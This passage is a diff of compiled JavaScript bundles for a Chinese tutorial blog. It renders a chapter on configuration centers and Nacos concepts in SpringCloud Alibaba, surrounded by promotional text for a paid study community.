"),s("p",[t._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),t._v(" "),s("p",[t._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),t._v(" "),s("p",[t._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),t._v(" "),s("p",[t._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),t._v(" "),s("p",[t._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),t._v(" "),s("p",[t._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),t._v(" "),s("p",[t._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),t._v(" "),s("h3",{attrs:{id:"星球门票价格"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[t._v("#")]),t._v(" 星球门票价格")]),t._v(" "),s("p",[t._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),t._v(" "),s("p",[s("strong",[t._v("特别提醒:")]),t._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),t._v(" "),s("p",[t._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),s("strong",[t._v("冰河技术")]),t._v(" 公众号回复 “ "),s("strong",[t._v("星球")]),t._v(" ” ,领取入场优惠券。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),t._v(" "),s("p",[s("strong",[t._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),t._v(" "),s("h2",{attrs:{id:"写在最后"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[t._v("#")]),t._v(" 写在最后")]),t._v(" "),s("blockquote",[s("p",[t._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);s.default=r.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-333.js b/assets/js/cg-333.js index d39544ade7238f7d58caf65fe036598bcbd6865a..9dd2568b6d41b604afaaa52c0d469fe28a79f5d0 100644 --- a/assets/js/cg-333.js +++ b/assets/js/cg-333.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[333],{622:function(t,a,_){"use strict";_.r(a);var r=_(7),s=Object(r.a)({},(function(){var t=this,a=t._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第21章-服务配置-服务配置介绍与nacos核心概念"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第21章-服务配置-服务配置介绍与nacos核心概念"}},[t._v("#")]),t._v(" SA实战 ·《SpringCloud Alibaba实战》第21章-服务配置:服务配置介绍与Nacos核心概念")]),t._v(" "),a("p",[a("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),a("blockquote",[a("p",[t._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏都更新到第21章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),t._v(" "),a("p",[t._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),a("OutboundLink")],1)]),t._v(" 知识星球即可获取,文末有入场方式。")])]),t._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[t._v("#")]),t._v(" 前文回顾")]),t._v(" "),a("p",[t._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),t._v(" "),a("p",[t._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),t._v(" "),a("p",[t._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),t._v(" "),a("p",[t._v("今天,我们正式进入《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏的服务配置章节,很多小伙伴都知道:Nacos在微服务开发过程中,既可以用作注册中心,也可以用作配置中心。在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏的服务治理章节,我们使用Nacos实现了注册中心,在接下来的服务配置章节,我们就使用Nacos实现配置中心。老规矩,在正式整合项目前,我们还是先来简单的聊聊服务配置与Nacos作为配置中心的相关概念。")]),t._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[t._v("#")]),t._v(" 本章总览")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-23-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-23-004.png",loading:"lazy"}})]),t._v(" "),a("h2",{attrs:{id:"群魔乱舞-配置散落存储"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#群魔乱舞-配置散落存储"}},[t._v("#")]),t._v(" 群魔乱舞(配置散落存储)")]),t._v(" "),a("p",[t._v("当我们的项目采用微服务架构后,原本单一的项目会被拆分为一个个小的微服务。原来项目中的配置文件就需要在每个微服务下都要存储一份,这些配置文件中的内容大部分都是相同的,只有个别的配置项不同。就拿数据库配置来说吧,如果每个微服务使用的技术栈都是相同的,则每个微服务中关于数据库的配置几乎都是相同的,有区别的地方可能就是:数据库连接,用户名和密码。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-23-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-23-001.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("当项目采用微服务架构后,原本在单体项目中的配置文件就会散落在各个微服务中,如果不对这些散落的配置文件进行处理,就会造成各种各样的问题。总结起来,这些问题主要体现在如下几个方面。")]),t._v(" "),a("p",[t._v("(1)配置文件散落在各个微服务项目中,随着整体项目的业务越来越复杂,后续会新增更多的微服务项目,微服务项目越来越多,则散落在微服务中的配置文件也会越来越多,后续会变得难以统一维护和管理。")]),t._v(" "),a("p",[t._v("(2)配置文件散落在各个微服务项目中,还有一个非常棘手的问题,那就是修改配置文件非常麻烦。需要我们手动去修改每个微服务下的配置文件,稍有不慎,还会增加微服务项目出错的风险。")]),t._v(" "),a("p",[t._v("(3)一般情况下,企业的项目发布环境包含开发环境、测试环境、预发布环境、生产环境。每个环境都需要对应不同的配置文件,如果不对这些配置文件进行统一管理,则每次发布到不同的环境时,都需要我们手动去修改每个微服务的配置文件,维护起来也是非常繁琐的。")]),t._v(" "),a("p",[t._v("(4)在微服务中,手动修改了配置文件之后,修改后的具体的配置项无法在微服务项目中实时更新。每次修改配置文件后,都需要重新启动微服务项目。不管是从开发角度,还是从运维角度,都是非常不友好的。")]),t._v(" "),a("h2",{attrs:{id:"分久必合-配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分久必合-配置中心"}},[t._v("#")]),t._v(" 分久必合(配置中心)")]),t._v(" "),a("p",[t._v("基于上面的种种原因,我们绝不允许配置文件长期在各个微服务项目中分散存储,那有没有什么办法将这些配置文件统一存放和管理呢?答案就是使用配置中心。")]),t._v(" "),a("p",[t._v("这里,冰河先用自己的大白话给配置中心下个定义吧。")]),t._v(" "),a("blockquote",[a("p",[t._v("配置中心就是在微服务项目中,统一管理和维护项目配置信息的地方,它支持配置信息的集中存储,对外提供统一的接口获取配置,支持各个微服务主动调用配置中心的接口获取配置,也支持当配置信息发生变更时,由配置中心实时并且主动向各个微服务通知服务配置发生了变更,使其同步最新的配置信息。")])]),t._v(" "),a("p",[t._v("哎,说好的大白话,读起来还是有点“官腔”,算了,不管它了,大家能够看懂就好。")]),t._v(" "),a("p",[t._v("在对配置中心的定义中,涵盖了三项重要内容。")]),t._v(" "),a("p",[t._v("(1)配置中心将各个微服务中的配置进行统一集中管理和维护,并且对外提供统一的接口获取相关配置。")]),t._v(" "),a("p",[t._v("(2)配置中心支持微服务主动调用配置中心的接口获取配置信息。")]),t._v(" "),a("p",[t._v("(3)配置信息发生变更时,配置中心能够实时并且主动向各个微服务通知服务配置发生了变更,使其同步最新的配置信息。")]),t._v(" "),a("p",[t._v("这里,我们还是以商城微服务化后为例,当引入配置中心后,数据库配置信息,如下图所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-23-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-23-002.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("可以看到,在微服务中引入配置中心后,配置信息不再存储到各个微服务项目中,也不用再手动修改每个微服务项目中的配置信息。而是在配置中心统一进行管理和维护。各个微服务会调用配置中心的接口获取配置信息。当配置中心的配置信息发生变更时,配置中心会主动并且实时通知各个微服务,使其获取配置中心的最新配置信息。")]),t._v(" "),a("h2",{attrs:{id:"配置中心解决方案"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#配置中心解决方案"}},[t._v("#")]),t._v(" 配置中心解决方案")]),t._v(" "),a("p",[t._v("针对项目采用微服务架构后的配置文件的存储与管理问题,业界也提出了不少解决方案,也开源出了很多不错的优秀项目,这里就给大家简单列举几个。")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("配置中心")]),t._v(" "),a("th",[t._v("说明")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("Consul")]),t._v(" "),a("td",[t._v("谷歌基于Go语言开发出的一款支持服务动态发现的配置管理中心服务。在Consul中,内置了服务注册与发现功能,实现了分布式一致性协议,支持Key-Value存储,支持多数据中心。")])]),t._v(" "),a("tr",[a("td",[t._v("Apollo")]),t._v(" "),a("td",[t._v("协程开源的一款支持分布式的配置中心。支持修改后的配置动态实时生效,对项目的配置进行版本化管理,对配置的修改支持审计,支持项目的灰度发布。")])]),t._v(" "),a("tr",[a("td",[t._v("Disconf")]),t._v(" "),a("td",[t._v("百度开源的一款支持分布式的配置中心,主要是利用Zookeeper实现配置信息变更后,实时通知各个微服务,使变更后的配置信息生效。")])]),t._v(" "),a("tr",[a("td",[t._v("SpringCloud Config")]),t._v(" "),a("td",[t._v("SpringCloud技术栈中自带的配置中心组件,支持使用Git仓库存储配置信息,不支持配置信息变更后实时生效。")])]),t._v(" "),a("tr",[a("td",[t._v("Nacos")]),t._v(" "),a("td",[t._v("SpringCloud Alibaba技术栈中的一个在微服务环境下,支持分布式服务注册与发现,支持服务元数据及流量管理,支持分布式配置中心的组件。使用Nacos可以轻松实现服务的注册与发现,以及分布式配置中心功能。")])])])]),t._v(" "),a("h2",{attrs:{id:"nacos配置中心概念"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#nacos配置中心概念"}},[t._v("#")]),t._v(" Nacos配置中心概念")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("核心概念")]),t._v(" "),a("th",[t._v("中文说明")]),t._v(" "),a("th",[t._v("概念说明")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("Namespace")]),t._v(" "),a("td",[t._v("命名空间")]),t._v(" "),a("td",[t._v("主要用于不同环境下的配置隔离,不同的环境会被划分到不同的命名空间中。")])]),t._v(" "),a("tr",[a("td",[t._v("Group")]),t._v(" "),a("td",[t._v("配置分组")]),t._v(" "),a("td",[t._v("主要用于将不同的微服务划分到同一个分组中。通常情况下,会将组成整体项目的各个微服务的配置统一划分到同一个分组中。")])]),t._v(" "),a("tr",[a("td",[t._v("Data ID")]),t._v(" "),a("td",[t._v("配置集 ID")]),t._v(" "),a("td",[t._v("通常情况下,在系统中,一个配置文件就是一个配置集,在这个配置文件中,能够包含系统各个方面的配置信息。配置集ID就是某个配置集的ID,也就是系统中某个配置文件的ID。")])])])]),t._v(" "),a("p",{attrs:{align:"right"}},[a("font",{attrs:{size:"1"}},[t._v("更多概念请参见:https://nacos.io/zh-cn/docs/concepts.html")])],1),t._v(" "),a("p",[a("strong",[t._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),t._v(" "),a("p",[a("strong",[t._v("另外,一不小心就写了21章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),t._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[t._v("#")]),t._v(" 关于星球")]),t._v(" "),a("p",[t._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),t._v(" "),a("p",[t._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),t._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[t._v("#")]),t._v(" 星球提供的服务")]),t._v(" "),a("p",[t._v("冰河整理了星球提供的一些服务,如下所示。")]),t._v(" "),a("p",[t._v("加入星球,你将获得:")]),t._v(" "),a("p",[t._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),t._v(" "),a("p",[t._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),t._v(" "),a("p",[t._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),t._v(" "),a("p",[t._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),t._v(" "),a("p",[t._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),t._v(" "),a("p",[t._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),t._v(" "),a("p",[t._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),t._v(" "),a("p",[t._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),t._v(" "),a("p",[t._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),t._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[t._v("#")]),t._v(" 星球门票价格")]),t._v(" "),a("p",[t._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),t._v(" "),a("p",[a("strong",[t._v("特别提醒:")]),t._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),t._v(" "),a("p",[t._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[t._v("冰河技术")]),t._v(" 公众号回复 “ "),a("strong",[t._v("星球")]),t._v(" ” ,领取入场优惠券。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),t._v(" "),a("p",[a("strong",[t._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),t._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[t._v("#")]),t._v(" 写在最后")]),t._v(" "),a("blockquote",[a("p",[t._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=s.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[333],{623:function(t,a,_){"use strict";_.r(a);var r=_(7),s=Object(r.a)({},(function(){var t=this,a=t._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第21章-服务配置-服务配置介绍与nacos核心概念"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第21章-服务配置-服务配置介绍与nacos核心概念"}},[t._v("#")]),t._v(" SA实战 ·《SpringCloud Alibaba实战》第21章-服务配置:服务配置介绍与Nacos核心概念")]),t._v(" "),a("p",[a("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),a("blockquote",[a("p",[t._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏都更新到第21章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),t._v(" "),a("p",[t._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),a("OutboundLink")],1)]),t._v(" 知识星球即可获取,文末有入场方式。")])]),t._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[t._v("#")]),t._v(" 前文回顾")]),t._v(" "),a("p",[t._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),t._v(" "),a("p",[t._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),t._v(" "),a("p",[t._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),t._v(" "),a("p",[t._v("今天,我们正式进入《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏的服务配置章节,很多小伙伴都知道:Nacos在微服务开发过程中,既可以用作注册中心,也可以用作配置中心。在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏的服务治理章节,我们使用Nacos实现了注册中心,在接下来的服务配置章节,我们就使用Nacos实现配置中心。老规矩,在正式整合项目前,我们还是先来简单的聊聊服务配置与Nacos作为配置中心的相关概念。")]),t._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[t._v("#")]),t._v(" 本章总览")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-23-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-23-004.png",loading:"lazy"}})]),t._v(" "),a("h2",{attrs:{id:"群魔乱舞-配置散落存储"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#群魔乱舞-配置散落存储"}},[t._v("#")]),t._v(" 群魔乱舞(配置散落存储)")]),t._v(" "),a("p",[t._v("当我们的项目采用微服务架构后,原本单一的项目会被拆分为一个个小的微服务。原来项目中的配置文件就需要在每个微服务下都要存储一份,这些配置文件中的内容大部分都是相同的,只有个别的配置项不同。就拿数据库配置来说吧,如果每个微服务使用的技术栈都是相同的,则每个微服务中关于数据库的配置几乎都是相同的,有区别的地方可能就是:数据库连接,用户名和密码。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-23-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-23-001.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("当项目采用微服务架构后,原本在单体项目中的配置文件就会散落在各个微服务中,如果不对这些散落的配置文件进行处理,就会造成各种各样的问题。总结起来,这些问题主要体现在如下几个方面。")]),t._v(" "),a("p",[t._v("(1)配置文件散落在各个微服务项目中,随着整体项目的业务越来越复杂,后续会新增更多的微服务项目,微服务项目越来越多,则散落在微服务中的配置文件也会越来越多,后续会变得难以统一维护和管理。")]),t._v(" "),a("p",[t._v("(2)配置文件散落在各个微服务项目中,还有一个非常棘手的问题,那就是修改配置文件非常麻烦。需要我们手动去修改每个微服务下的配置文件,稍有不慎,还会增加微服务项目出错的风险。")]),t._v(" "),a("p",[t._v("(3)一般情况下,企业的项目发布环境包含开发环境、测试环境、预发布环境、生产环境。每个环境都需要对应不同的配置文件,如果不对这些配置文件进行统一管理,则每次发布到不同的环境时,都需要我们手动去修改每个微服务的配置文件,维护起来也是非常繁琐的。")]),t._v(" "),a("p",[t._v("(4)在微服务中,手动修改了配置文件之后,修改后的具体的配置项无法在微服务项目中实时更新。每次修改配置文件后,都需要重新启动微服务项目。不管是从开发角度,还是从运维角度,都是非常不友好的。")]),t._v(" "),a("h2",{attrs:{id:"分久必合-配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分久必合-配置中心"}},[t._v("#")]),t._v(" 分久必合(配置中心)")]),t._v(" "),a("p",[t._v("基于上面的种种原因,我们绝不允许配置文件长期在各个微服务项目中分散存储,那有没有什么办法将这些配置文件统一存放和管理呢?答案就是使用配置中心。")]),t._v(" "),a("p",[t._v("这里,冰河先用自己的大白话给配置中心下个定义吧。")]),t._v(" "),a("blockquote",[a("p",[t._v("配置中心就是在微服务项目中,统一管理和维护项目配置信息的地方,它支持配置信息的集中存储,对外提供统一的接口获取配置,支持各个微服务主动调用配置中心的接口获取配置,也支持当配置信息发生变更时,由配置中心实时并且主动向各个微服务通知服务配置发生了变更,使其同步最新的配置信息。")])]),t._v(" "),a("p",[t._v("哎,说好的大白话,读起来还是有点“官腔”,算了,不管它了,大家能够看懂就好。")]),t._v(" "),a("p",[t._v("在对配置中心的定义中,涵盖了三项重要内容。")]),t._v(" "),a("p",[t._v("(1)配置中心将各个微服务中的配置进行统一集中管理和维护,并且对外提供统一的接口获取相关配置。")]),t._v(" "),a("p",[t._v("(2)配置中心支持微服务主动调用配置中心的接口获取配置信息。")]),t._v(" "),a("p",[t._v("(3)配置信息发生变更时,配置中心能够实时并且主动向各个微服务通知服务配置发生了变更,使其同步最新的配置信息。")]),t._v(" "),a("p",[t._v("这里,我们还是以商城微服务化后为例,当引入配置中心后,数据库配置信息,如下图所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-23-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-23-002.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("可以看到,在微服务中引入配置中心后,配置信息不再存储到各个微服务项目中,也不用再手动修改每个微服务项目中的配置信息。而是在配置中心统一进行管理和维护。各个微服务会调用配置中心的接口获取配置信息。当配置中心的配置信息发生变更时,配置中心会主动并且实时通知各个微服务,使其获取配置中心的最新配置信息。")]),t._v(" "),a("h2",{attrs:{id:"配置中心解决方案"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#配置中心解决方案"}},[t._v("#")]),t._v(" 配置中心解决方案")]),t._v(" "),a("p",[t._v("针对项目采用微服务架构后的配置文件的存储与管理问题,业界也提出了不少解决方案,也开源出了很多不错的优秀项目,这里就给大家简单列举几个。")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("配置中心")]),t._v(" "),a("th",[t._v("说明")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("Consul")]),t._v(" "),a("td",[t._v("谷歌基于Go语言开发出的一款支持服务动态发现的配置管理中心服务。在Consul中,内置了服务注册与发现功能,实现了分布式一致性协议,支持Key-Value存储,支持多数据中心。")])]),t._v(" "),a("tr",[a("td",[t._v("Apollo")]),t._v(" "),a("td",[t._v("协程开源的一款支持分布式的配置中心。支持修改后的配置动态实时生效,对项目的配置进行版本化管理,对配置的修改支持审计,支持项目的灰度发布。")])]),t._v(" "),a("tr",[a("td",[t._v("Disconf")]),t._v(" "),a("td",[t._v("百度开源的一款支持分布式的配置中心,主要是利用Zookeeper实现配置信息变更后,实时通知各个微服务,使变更后的配置信息生效。")])]),t._v(" "),a("tr",[a("td",[t._v("SpringCloud Config")]),t._v(" "),a("td",[t._v("SpringCloud技术栈中自带的配置中心组件,支持使用Git仓库存储配置信息,不支持配置信息变更后实时生效。")])]),t._v(" "),a("tr",[a("td",[t._v("Nacos")]),t._v(" "),a("td",[t._v("SpringCloud Alibaba技术栈中的一个在微服务环境下,支持分布式服务注册与发现,支持服务元数据及流量管理,支持分布式配置中心的组件。使用Nacos可以轻松实现服务的注册与发现,以及分布式配置中心功能。")])])])]),t._v(" 